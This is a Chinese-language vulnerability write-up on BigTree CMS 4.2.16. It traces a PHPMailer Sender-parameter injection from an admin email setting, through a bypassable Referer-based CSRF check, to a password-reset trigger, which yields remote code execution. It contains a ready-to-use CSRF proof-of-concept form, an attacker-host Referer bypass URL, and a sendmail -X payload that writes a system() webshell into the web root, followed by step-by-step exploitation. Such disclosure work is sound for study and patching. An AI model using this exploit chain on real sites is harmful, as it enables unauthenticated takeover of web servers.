供应商主页:https://www.bigtreecms.org/
软件链接:https://github.com/bigtreecms
版本:v.4.2.16
研究表明未经身份验证的远程攻击者可以使用的PHPMailer (版本<5.2.20)中的关键漏洞,以在Web服务器用户的context中实现远程任意代码执行,并远程破坏目标Web应用程序。
PHPMailer使用该Sender
变量构建params字符串。然后PHPMailer::send()
调用PHP本机函数mail()
来执行/usr/bin/sendmail
参数$this->Sender
根据我的分析,如果我们可以控制这个Sender
值,我们可以sendmail
将context(<?php phpinfo()?>)保存到任何给定的路径(/var/www/html/shell.php),这意味着代码执行。
BigTree CMS中就包含PHPMailer /core/inc/bigtree/utils.php
static function sendEmail($to,$subject,$html,$text = "",$from = false,$return = false,$cc = false,$bcc = false,$headers = array()) { $mailer = new PHPMailer; foreach ($headers as $key => $val) { $mailer->addCustomHeader($key,$val); } $mailer->Subject = $subject; if ($html) { $mailer->isHTML(true); $mailer->Body = $html; $mailer->AltBody = $text; } else { $mailer->Body = $text; } if (!$from) { $from = "no-reply@".(isset($_SERVER["HTTP_HOST"]) ? str_replace("www.","",$_SERVER["HTTP_HOST"]) : str_replace(array("http://www.","https://www.","http://","https://"),"",DOMAIN)); $from_name = "BigTree CMS"; } else { // Parse out from and reply-to names $from_name = false; $from = trim($from); if (strpos($from,"<") !== false && substr($from,-1,1) == ">") { $from_pieces = explode("<",$from); $from_name = trim($from_pieces[0]); $from = substr($from_pieces[1],0,-1); } } $mailer->From = $from; $mailer->FromName = $from_name; $mailer->Sender = $from;
设置Sender
值的正确方法是使用安全方法$mailer->setForm()
,但这里的$from
函数直接传递到$mailer->Sender
没有任何验证。
找到调用功能sendEmail()
。
/core/inc/bigtree/apis/email-service.php
function sendEmail($subject,$body,$to,$from_email = false,$from_name = false,$reply_to = false,$text = "") { ... if ($this->Service == "local") { return BigTree::sendEmail($to,$subject,$body,$text,($from_name ? "$from_name <$from_email>" : $from_email),$reply_to); } ... }
查找此函数的调用。
/core/inc/bigtree/admin.php
第2526行
static function forgotPassword($email) { ... $es = new BigTreeEmailService; // Only use a custom email service if a from email has been set if ($es->Settings["bigtree_from"]) { $reply_to = "no-reply@".(isset($_SERVER["HTTP_HOST"]) ? str_replace("www.","",$_SERVER["HTTP_HOST"]) : str_replace(array("http://www.","https://www.","http://","https://"),"",DOMAIN)); $es->sendEmail("Reset Your Password",$html,$user["email"],$es->Settings["bigtree_from"],"BigTree CMS",$reply_to); } ... }
找$es->Settings["bigtree_from"]
如何管理值
/core/admin/modules/developer/email/update.php
第16行
... $settings["settings"]["bigtree_from"] = $_POST["bigtree_from"]; $admin->updateSettingValue("bigtree-internal-email-service",$settings); ...
现在路线很清楚了:
$_POST["bigtree_from"];
– > $settings["settings"]["bigtree_from"]
– > $es->Settings["bigtree_from"]
– > $from_email
– > $from
– >$mailer->Sender
该$_POST["bigtree_from"];
由“Developer / Email Delivery”表单生成。
但不幸的是,它需要管理员权限,所以我必须看看CSRF是否在工作。
然后我找到了它的CSRF过滤器
/core/admin/modules/developer/_header.php
第3行
if (count($_POST)) { $clean_referer = str_replace(array("http://","https://"),"//",$_SERVER["HTTP_REFERER"]); $clean_admin_root = str_replace(array("http://","https://"),"//",ADMIN_ROOT)."developer/"; // The referer MUST contain a URL from within the developer section to post to it. if (strpos($clean_referer,$clean_admin_root) === false) { die(); } }
它可以简单地绕过:
https://attacker_host/?url=http://target_host/admin/developer/
具体过程分为以下四个步骤:
CSRF探针
http://attacker_server/csrf.html?url=http://bigtreeCMS/admin/developer/
csrf.html
<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="http://localhost/bigtree/BigTree-CMS/admin/developer/email/update/" method="POST"> <input type="hidden" name="service" value="local" /> <input type="hidden" name="bigtree_from" value="?php;system($_GET['a']);/* -X/var/www/html/final.php @xxx" /> <input type="submit" value="Submit request" /> </form> </body> </html>
csrf.html中的有效载荷
?php;system($_GET['a']);/* -X/var/www/html/final.php @xxx
(<>
在后端被过滤,所以我/*
用来评论以下文字)
以“忘记密码”形式(未经授权)触发PHPMailer。
然后/var/www/html/final.php
将使用PHP代码创建。
使用webshell执行系统命令。
*参考来源:cdxy,